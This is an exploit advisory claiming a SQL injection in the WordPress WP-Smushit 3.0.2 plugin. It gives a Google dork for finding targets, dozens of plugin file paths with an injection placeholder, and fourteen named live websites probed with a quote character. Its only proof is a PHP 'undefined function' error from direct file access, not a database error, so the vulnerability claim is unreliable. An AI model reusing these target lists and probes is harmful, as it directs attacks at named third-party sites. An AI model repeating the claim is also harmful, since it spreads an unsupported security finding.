WordPress WP-Smushit 3.0.2 SQL Injection

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# Exploit Title : WordPress WP-Smushit Plugins 3.0.2 SQL Injection  
# Author [ Discovered By ] : KingSkrupellos  
# Team : Cyberizm Digital Security Army  
# Date : 28/01/2019  
# Vendor Homepage : premium.wpmudev.org  
# Software Download Link : downloads.wordpress.org/plugin/wp-smushit.3.0.2.zip  
# Software Information Link : wordpress.org/plugins/wp-smushit/  
# Software Version : 3.0.2  
# Tested On : Windows and Linux  
# Category : WebApps  
# Exploit Risk : Medium  
# Google Dorks : inurl:''/wp-content/plugins/wp-smushit/''  
# Vulnerability Type : CWE-89 [ Improper Neutralization of   
Special Elements used in an SQL Command ('SQL Injection') ]  
  
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# Description about Software :  
**********************************  
  
WordPress WP-Smushit - Smush Image Compression and Optimization Plugin =>   
  
Smush has been benchmarked and tested number one for speed and quality and   
  
is the award-winning, back-to-back proven crowd favorite image optimization plugin for WordPress.  
  
Resize, optimize, optimise and compress all of your images with the   
  
incredibly powerful and 100% free WordPress image smusher,   
  
brought to you by the superteam at WPMU DEV!  
  
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# Impact :  
**********  
  
* WordPress WP-Smushit Plugins 3.0.2 is prone to an   
  
SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied   
  
data before using it in an SQL query.  
  
* Exploiting this issue could allow an attacker to compromise the application, read,  
  
access or modify data, or exploit latent vulnerabilities in the underlying database.   
  
If the webserver is misconfigured, read & write access to the filesystem may be possible.  
  
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# SQL Injection Exploit :  
**********************  
  
/wp-content/plugins/wp-smushit/app/class-wp-smush-dashboard.php?id=[SQL Injection]  
  
/wp-content/plugins/wp-smushit/app/class-wp-smush-nextgen.php?id=[SQL Injection]  
  
/wp-content/plugins/wp-smushit/app/views/blocks/progress-bar.php?id=[SQL Injection]  
  
/wp-content/plugins/wp-smushit/app/views/meta-boxes/bulk-settings/meta-box.php?id=[SQL Injection]  
  
/wp-content/plugins/wp-smushit/app/views/meta-boxes/bulk/meta-box-header.php?id=[SQL Injection]  
  
/wp-content/plugins/wp-smushit/app/views/meta-boxes/bulk/meta-box.php?id=[SQL Injection]  
  
/wp-content/plugins/wp-smushit/app/views/meta-boxes/cdn/meta-box-footer.php?id=[SQL Injection]  
  
/wp-content/plugins/wp-smushit/app/views/meta-boxes/cdn/meta-box.php?id=[SQL Injection]  
  
/wp-content/plugins/wp-smushit/app/views/meta-boxes/cdn/upsell-meta-box-header.php?id=[SQL Injection]  
  
/wp-content/plugins/wp-smushit/app/views/meta-boxes/directory/meta-box.php?id=[SQL Injection]  
  
/wp-content/plugins/wp-smushit/app/views/meta-boxes/integrations/meta-box.php?id=[SQL Injection]  
  
/wp-content/plugins/wp-smushit/app/views/meta-boxes/nextgen/meta-box-header.php?id=[SQL Injection]  
  
/wp-content/plugins/wp-smushit/app/views/meta-boxes/nextgen/meta-box.php?id=[SQL Injection]  
  
/wp-content/plugins/wp-smushit/app/views/meta-boxes/nextgen/summary-meta-box.php?id=[SQL Injection]  
  
/wp-content/plugins/wp-smushit/app/views/meta-boxes/pro-features/meta-box-header.php?id=[SQL Injection]  
  
/wp-content/plugins/wp-smushit/app/views/meta-boxes/pro-features/meta-box.php?id=[SQL Injection]  
  
/wp-content/plugins/wp-smushit/app/views/meta-boxes/settings/meta-box.php?id=[SQL Injection]  
  
/wp-content/plugins/wp-smushit/app/views/meta-boxes/summary/meta-box.php?id=[SQL Injection]  
  
/wp-content/plugins/wp-smushit/app/views/modals/directory-list.php?id=[SQL Injection]  
  
/wp-content/plugins/wp-smushit/app/views/modals/quick-setup.php?id=[SQL Injection]  
  
/wp-content/plugins/wp-smushit/app/views/smush-page.php?id=[SQL Injection]  
  
/wp-content/plugins/wp-smushit/app/views/tabs.php?id=[SQL Injection]  
  
/wp-content/plugins/wp-smushit/app/views/wp-smush-nextgen-bulk-page.php?id=[SQL Injection]  
  
/wp-content/plugins/wp-smushit/core/external/free-dashboard/module.php?id=[SQL Injection]  
  
/wp-content/plugins/wp-smushit/core/integrations/class-wp-smush-nextgen.php?id=[SQL Injection]  
  
/wp-content/plugins/wp-smushit/core/integrations/class-wp-smush-gutenberg.php?id=[SQL Injection]  
  
/wp-content/plugins/wp-smushit/core/integrations/class-wp-smush-s3.php?id=[SQL Injection]  
  
/wp-content/plugins/wp-smushit/core/integrations/nextgen/class-wp-smush-nextgen-admin.php?id=[SQL Injection]  
  
/wp-content/plugins/wp-smushit/core/integrations/nextgen/class-wp-smush-nextgen-stats.php?id=[SQL Injection]  
  
/wp-content/plugins/wp-smushit/core/integrations/s3/class-wp-smush-s3-compat.php?id=[SQL Injection]  
  
/wp-content/plugins/wp-smushit/core/modules/class-wp-smush-ajax.php?id=[SQL Injection]  
  
/wp-content/plugins/wp-smushit/core/modules/class-wp-smush-async-editor.php?id=[SQL Injection]  
  
/wp-content/plugins/wp-smushit/core/modules/class-wp-smush-backup.php?id=[SQL Injection]  
  
/wp-content/plugins/wp-smushit/core/modules/class-wp-smush-cdn.php?id=[SQL Injection]  
  
/wp-content/plugins/wp-smushit/core/modules/class-wp-smush-png2jpg.php?id=[SQL Injection]  
  
/wp-content/plugins/wp-smushit/core/modules/class-wp-smush-resize.php?id=[SQL Injection]  
  
/wp-content/plugins/wp-smushit/core/modules/class-wp-smushit.php?id=[SQL Injection]  
  
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# Example Vulnerable Sites :  
*************************  
  
[+] brewurbancafe.com/wp-content/plugins/wp-smushit/app/views/blocks/progress-bar.php?id=1%27  
  
[+] wegdermee.com/wp-content/plugins/wp-smushit/app/views/blocks/progress-bar.php?id=1%27  
  
[+] ootb.net.au/wp-content/plugins/wp-smushit/app/views/blocks/progress-bar.php?id=1%27  
  
[+] chefleticia.com/wp-content/plugins/wp-smushit/app/views/blocks/progress-bar.php?id=1%27  
  
[+] bonofe.com/wp-content/plugins/wp-smushit/app/views/blocks/progress-bar.php?id=1%27  
  
[+] kinetix365.com/wp-content/plugins/wp-smushit/app/views/blocks/progress-bar.php?id=1%27  
  
[+] maquilalama.com/wp-content/plugins/wp-smushit/app/views/blocks/progress-bar.php?id=1%27  
  
[+] tobaccoroadtours.com/wp-content/plugins/wp-smushit/app/views/blocks/progress-bar.php?id=1%27  
  
[+] harpreetkumar.com/hindi/wp-content/plugins/wp-smushit/app/views/blocks/progress-bar.php?id=1%27  
  
[+] 10minutos.com.bo/wp-content/plugins/wp-smushit/app/views/blocks/progress-bar.php?id=1%27  
  
[+] akarcenter.com/wp-content/plugins/wp-smushit/app/views/blocks/progress-bar.php?id=1%27  
  
[+] otherside-e.com/wp/wp-content/plugins/wp-smushit/app/views/blocks/progress-bar.php?id=1%27  
  
[+] bowgrid.com/wp-content/plugins/wp-smushit/app/views/blocks/progress-bar.php?id=1%27  
  
[+] sportschampic.com/wp-content/plugins/wp-smushit/app/views/blocks/progress-bar.php?id=1%27  
  
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# Example SQL Database Error :  
****************************  
  
Fatal error: Uncaught Error: Call to undefined function esc_html__() in   
/home/brewurbancafe/public_html/wp-content/plugins/wp-smushit/app/views  
/blocks/progress-bar.php:17 Stack trace: #0 {main} thrown in /home  
/brewurbancafe/public_html/wp-content/plugins/wp-smushit/app/views  
/blocks/progress-bar.php on line 17  
  
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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team   
  
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`